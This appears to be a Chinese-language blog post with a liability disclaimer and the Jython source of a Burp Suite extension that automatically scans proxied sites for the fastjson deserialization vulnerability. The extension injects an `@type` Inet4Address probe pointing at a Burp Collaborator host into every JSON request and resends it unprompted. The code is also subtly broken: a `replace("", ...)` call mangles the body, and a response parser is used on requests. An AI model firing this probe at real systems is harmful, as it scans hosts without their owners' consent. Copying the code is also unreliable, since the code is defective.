前段时间为了方便探测fastjson写的一个小插件,在抓包测试的同时第一时间可进行探测是否存在fastjson漏洞
免责申明
第 一 条 使用者因为违反本声明的规定而触犯中华人民共和国法律的,一切后果自己负担,脚本作者不承担任何责任。
第 二 条 凡以任何方式直接、间接使用作者资料者,视为自愿接受声明的约束。
第 三 条 本声明未涉及的问题参见国家有关法律法规,当本声明与国家法律法规冲突时,以国家法律法规为准。
第 四 条 对于因不可抗力或不能控制的原因造成的网络服务中断或其它缺陷,作者不承担任何责任。
from burp import IBurpExtender
from burp import ITab
from burp import IHttpListener
from burp import IMessageEditorController
from burp import IHttpRequestResponse
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IHttpService
from burp import IContextMenuFactory
import re
from java.awt import Component;
from java.io import PrintWriter;
from java.util import ArrayList;
from java.util import List;
from javax.swing import JScrollPane;
from javax.swing import JSplitPane;
from javax.swing import JTabbedPane;
from javax.swing import JTable;
from javax.swing import SwingUtilities;
from javax.swing.table import AbstractTableModel;
from threading import Lock
import json
print """Fastjson By:lunlun
Payload:{"@type":"java.net.Inet4Address","val":"xxxx.xxxx.com"}
----------------------------------------------------------------"""
black_ext = ('.jpg','.js','.css','.ico','.gif','.swf','woff','.png','.jpeg','.woff2','.svg','.mp4','.flv')
black_ext_list = ('.jpg?','.js?','.css?','.ico?','.gif?','.swf?','.woff?','.png?','.jpeg?','.woff2?')
black_host = ('.wyzxxz.com','.aliyuncs.com','.alicdn.com')
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("fastjson")
self.collaboratorContext = callbacks.createBurpCollaboratorClientContext()
self.payload = self.collaboratorContext.generatePayload(True)
print str(self.payload)
self._log = ArrayList()
self._lock = Lock()
self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
logTable = Table(self)
scrollPane = JScrollPane(logTable)
print scrollPane
self._splitpane.setLeftComponent(scrollPane)
tabs = JTabbedPane()
self._requestViewer = callbacks.createMessageEditor(self, False)
self._responseViewer = callbacks.createMessageEditor(self, False)
tabs.addTab("Request", self._requestViewer.getComponent())
tabs.addTab("Response", self._responseViewer.getComponent())
self._splitpane.setRightComponent(tabs)
callbacks.customizeUiComponent(self._splitpane)
callbacks.customizeUiComponent(logTable)
callbacks.customizeUiComponent(scrollPane)
callbacks.customizeUiComponent(tabs)
callbacks.addSuiteTab(self)
callbacks.registerHttpListener(self)
return
def getTabCaption(self):
return "FastjsonScan"
def getUiComponent(self):
return self._splitpane
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if toolFlag == 64 or toolFlag == 16 or toolFlag == 8 or toolFlag == 4:
if not messageIsRequest:
response = messageInfo.getResponse()
analyzedResponse = self._helpers.analyzeResponse(response)
response_headers = analyzedResponse.getHeaders()
response_bodys = response[analyzedResponse.getBodyOffset():].tostring()
response_StatusCode = analyzedResponse.getStatusCode()
resquest = messageInfo.getRequest()
analyzedRequest = self._helpers.analyzeResponse(resquest)
request_header = analyzedRequest.getHeaders()
request_bodys = resquest[analyzedRequest.getBodyOffset():].tostring()
httpService = messageInfo.getHttpService()
port = httpService.getPort()
host = httpService.getHost()
re_cc=re.compile(r'GET(.+)HTTP/1.1|POST(.+)HTTP/1.1')
cc_re=re.findall(re_cc,request_header[0])
for url in cc_re:
if str(url).strip().endswith(black_ext) or host.endswith(black_host) or any(x in str(url).strip() for x in black_ext_list):
pass
else:
request_bodyso=request_bodys
try:
if json.loads(request_bodyso):
request_bodyss=request_bodyso.replace("",'{"@type":"java.net.Inet4Address","val":"'+str(self.payload).strip()+'"}')
req = self._helpers.buildHttpMessage(request_header, request_bodyss)
ishttps = False
if port == 443:
ishttps = True
rep = self._callbacks.makeHttpRequest(host, port, ishttps, req)
analyzedreq = self._helpers.analyzeResponse(rep)
req_headers = analyzedreq.getHeaders()
req_bodys = req[analyzedreq.getBodyOffset():].tostring()
if self.collaboratorContext.fetchAllCollaboratorInteractions():
print "Fastjson"
messageInfo.setHighlight('red')
self._lock.acquire()
row = self._log.size()
self._log.add(LogEntry(toolFlag, self._callbacks.saveBuffersToTempFiles(messageInfo), self._helpers.analyzeRequest(messageInfo).getUrl()))
self.fireTableRowsInserted(row, row)
self._lock.release()
except:
pass
def getRowCount(self):
try:
return self._log.size()
except:
return 0
def getColumnCount(self):
return 2
def getColumnName(self, columnIndex):
if columnIndex == 0:
return "Tool"
if columnIndex == 1:
return "URL"
return ""
def getValueAt(self, rowIndex, columnIndex):
logEntry = self._log.get(rowIndex)
if columnIndex == 0:
return self._callbacks.getToolName(logEntry._tool)
if columnIndex == 1:
return logEntry._url.toString()
return ""
def getHttpService(self):
return self._currentlyDisplayedItem.getHttpService()
def getRequest(self):
return self._currentlyDisplayedItem.getRequest()
def getResponse(self):
return self._currentlyDisplayedItem.getResponse()
class Table(JTable):
def __init__(self, extender):
self._extender = extender
self.setModel(extender)
def changeSelection(self, row, col, toggle, extend):
logEntry = self._extender._log.get(row)
self._extender._requestViewer.setMessage(logEntry._requestResponse.getRequest(), True)
self._extender._responseViewer.setMessage(logEntry._requestResponse.getResponse(), False)
self._extender._currentlyDisplayedItem = logEntry._requestResponse
JTable.changeSelection(self, row, col, toggle, extend)
class LogEntry:
def __init__(self, tool, requestResponse, url):
self._tool = tool
self._requestResponse = requestResponse
self._url = url